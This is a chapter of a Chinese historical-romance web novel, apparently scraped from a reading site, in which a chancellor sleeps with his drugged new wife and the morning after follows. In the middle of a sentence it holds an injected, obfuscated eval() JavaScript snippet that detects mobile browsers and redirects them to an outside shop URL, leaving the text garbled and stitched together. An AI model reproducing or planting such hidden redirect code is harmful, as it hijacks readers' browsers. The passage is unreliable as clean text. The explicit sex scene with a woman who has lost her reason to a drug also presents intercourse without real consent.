“谁要对你投怀送抱了。谢……夫君,你放开我,你弄疼我了。”
宋令仪叫苦不迭,却挣不开男人的怀抱。
她没什么功夫底子,又中了自己的药,这会儿全身都是软的,谢景川低笑间,已经把她抱入怀中,大步走向床侧。
夫人已经浑身湿透,且娇语轻喘,这场面他若是不动些手脚,似乎就不是个男人了。
“夫人,你落了水,衣服都湿了,夫君帮你脱了,换下来。”
湿漉漉的整个人被稳稳放到床上,后背接触到柔软的大床,宋令仪忍不住低吟一下,原本就红透的小脸,此时越发的红了。
药效猛烈,她控制不住自己了。
她本就长得漂亮,此时更加水眸含情,眉梢带春,哪怕她不是故意的,可这副动了情的模样,也很难让男人拔开脚步。
谢景川是个正常男人。
尤其眼前这个女人,还是自己正经新娶的夫人。
此时的他,也有些气血上涌,甚至小腹处都绷得极紧。
“嫂嫂,你可真是会给本相找难题……”
叹一口气,他低语着凑近她,男人身上独有的气息扑向她,宋令仪昏浊的大脑已经失去了理智。
身体的难受,让她本能的向着他靠近,吸满水渍的薄纱,此刻更是紧紧贴在她的身上,曲线玲珑,格外勾人。
谢景川知道,此刻的她,除了这一件薄纱之外,里面什么都没穿。
眼底的清明也渐渐变为漆黑的欲,他垂了眸,大手在她身体上轻移,低哑的声音有着隐忍的克制:“嫂嫂,是什么让你这么不顾一切的主动?”
“衣服都这般湿了,那就脱了吧!”
语声低哑,缓缓而起。
薄纱落在地上,掀开最后的神秘。
她腰身若素,不及一握。
胸口的剑伤,依旧触目惊心。
小腹处的伤疤,还是那么明显。
谢景川垂眸看着,终是低低一声轻叹,大手缓缓覆上她腹部的烧伤,喃喃低语:“这道伤,是不是很疼……”
宋令仪已经听不到他在说什么。
她拼着本能,用力的抱着他,抱紧他。
身体里的渴求,让她完全将白日里的伪装撤下,她又凶又野,除了哭,还咬他。
谢景川摁都摁不住。
最后,深吸一口气,低头用力吻上她的唇,与她纠缠片刻,又起身,哑着声音问:“嫂嫂,你可知我是谁?”
宋令仪觉得自己知道,但又不知道。
她哭着哼哼:“夫君,你是夫君……”
“夫君也有名字呢,我是谁?”谢景川耐心引导,宋令仪想了好久好久,终于想出一个名字,“谢景川,狗男人……”
谢景川:……
气笑。
都到了这个时候了,也依然是牙尖嘴利。
“嫂嫂,那你好好记得我,我是谢景川,我不是兄长。”
男人动了情,自然也不会手下留情。
片刻后,床上的帐幔落下,地上衣衫散乱……一室春光,就此延续。
雀枝默默把耳朵堵上了。
小师妹,似乎很野啊!
又叹气:小师妹嫁人了,大师兄该怎么办?或许回头,等小师妹去父去子之后,还可以再嫁吗?
可是这事,又叫什么事呢!
雀枝觉得头疼:算了算了,男女间的情事,她是真不懂。
月上中天,房里已经叫了三次水。
雀枝送水送的都麻了,第三次出来后,忍不住吐槽:“这还得多久才完事?”
林风落地,挺大个男人,也凑过来说:“雀枝丫头,你胆子好大,敢这么嘀咕主子坏话?”
雀枝:!
那是我小师妹。
“只是偷着说,林侍卫别告诉王爷。我家小姐身子弱,又怀着身孕,禁不住这么折腾。”
林风:……
好像是这么回事,一时之间也愁了起来。
但是,里面是俩主子啊,他也没胆敢去叫停吧!
真要敢叫停,脑袋明天就得搬家。
“算了,离远点吧,听不见就不操心。”
林风拉往她往院门口走走,雀枝一巴掌拍开他:“有事说事,别动手动脚。”
“嘿,你这人……”
林风一顿,“算了,不识好人心啊,我不与你一般见识。”
见雀枝不理他,林风索性也不说话。
夜风从两人中间吹过,吹向中间的屋子。
屋里开了窗,那混合着男女情爱之意的味道,渐渐散去,宋令仪体内药性已完全解除,香肩微露,沉沉睡着。
谢景川披衣而起,再次叫了水,等清洗过后,他看着湿漉漉的床榻,已经不能再睡。
这个样子睡下去,明日必定风寒。
叹口气,用了薄被细细的把女人抱得严实,又将那块染了血色的床褥抓起,扔进浴桶之中,谢景川迈步出去:“我带夫人回恒山院歇了。”
男人身形高大,背影如山,林风与雀枝愣愣看着这大半夜的情况下,男主子就这样抱着女主子走了?
恒山院:男人的房间,利落而清冷,连床榻都显得几分淡漠无情。
挺配谢景川的性子。
而他的房间,从来不曾进过女子,宋令仪是第一位。
“小骗子,还说怀了孕,这世上,敢骗本相的人,你也是第一位。”
温柔的把昏睡过去的女人放入他的床榻之下,谢景川眼中都是掩不住的笑意。
再看她全身都是恩爱过后的痕迹,也都是他留下的味道,他心情就越发的好了。
“阿令,好好休息。”
宋令仪做了一个很长很长的梦。
梦中,她变成了一尾煎鱼,被人翻来覆去的煎着,烤着。
她满身大汗,痛苦哀求,却依然逃不开被吞吃入肚的下场。
那人吃她的时候,甚至连头发丝都不放过,她自己都吓到了,然后又怔怔的想:她是鱼,不是人,为什么会有头发丝?
“夫人,夫人?您醒了没有?”
身边有丫环轻声唤着她,宋令仪只管盯着陌生的屋顶看,觉得自己依然还在锅里翻腾着,煎着。
整个人都很难受,头也晕,想吐,身体更是疼得厉害,像是被车轮碾过一样,动动手指,就要花费很大的力气。
该死的男人,这真是不顾她的死活
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090060|195427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,恨不得要她的命吧!
“这里是……”
回神的时候,她下意识开口,却被自己沙哑的嗓音吓了一跳,旁边绿翠的声音开心的说道,“夫人,您终于醒了。这里是相爷的恒山院。夫人,您要再不醒,婢子就要去请大夫了。夫人,您现在要起吗?”
绿翠真是太高兴了,一直叽叽喳喳的说。
夫人与相爷终于圆房了,这是好事一桩,她们今天还得了老夫人的赏呢!
连她都是第一次进入恒山院。
“恒山院?”
宋令仪吓了一跳,连忙起身,身上的薄被便在这时滑下,她低头看着自己不着寸缕的身体,顿时愣了一下,又连忙把被子抓起来,小脸浮上红晕,恼怒的说,“我衣服呢?”
“衣服脏了,相爷吩咐已经拿去烧了。”
绿翠偷笑一声,看着夫人身上那大片大片的痕迹,又跟着悄悄红了脸,宋令仪脑子“嗡”的一声,不可置信道,“脏了就要烧掉,他怎么不把自己烧掉?”
狗男人是嫌她脏?
所以连她的衣服,也不想看到了?
“回夫人,相爷说,夫人的衣服都旧了,也过于朴素,穿出去让人看着笑话,还以为相府没银子让夫人打扮呢。所以,那些破衣服就干脆烧了,相爷已经让人去锦衣楼定了新的衣服,很快就会送到。若是夫人醒了,且先忍一忍。”
听得出来,绿翠这话说得非常开心,宋令仪却是气笑了:“那相爷有没有说,本夫人如果内急,又该怎么解决?”
绿翠一愣,连忙说道:“此事,相爷也吩咐了,夫人可以用恭桶。”
大白天的,在房里用恭桶?
那谢景川想得还挺周到的!
可这里还是恒山院,还是谢景川的房间,宋令仪觉得自己还要脸。
深吸一口气:“你去珍珠院,把本夫人其它的衣服拿几件过来,快去。”
绿翠一看夫人生气,也不敢再多说,连忙去了。
宋令仪心情烦燥。
想想昨天夜里发生的事情,明明是想要设计谢景川的,可最后吃亏的却是自己。
不过,不管谁主动谁被动,总之,她与谢景川也算是做成了真正的夫妻。
只希望下个月的时候,肚子里会真的有孩子吧!
想到这些,宋令仪又叹气:可怀孕之事,谁也说不准,如果下月没有怀孕,那她还有时间等吗?
只是同房一次,怀孕的几率,小得很。
那,是不是还要多几次?
“夫人可醒了?”
谢景川早朝回来,直奔恒山院。
在他身后,跟着几名宫里的人,每人怀中都或者抱着金银,或是抱着锦衣绸缎,排场挺大。
“夫人像是醒了。”
今日是星辰当值,见相爷回来,马上开口,“主子,这些都是皇上给的赏赐吗?”
谢景川心情挺好,点点头:“是皇上给的。”
但并不是赏赐,而是补偿。
“你们且在此侯着。”
谢景川迈步进门,几名宫人停在院中等着,宋令仪听到谢景川进门的一瞬间,已经飞快的用被子裹了自己,然后躺在床榻之上,装睡。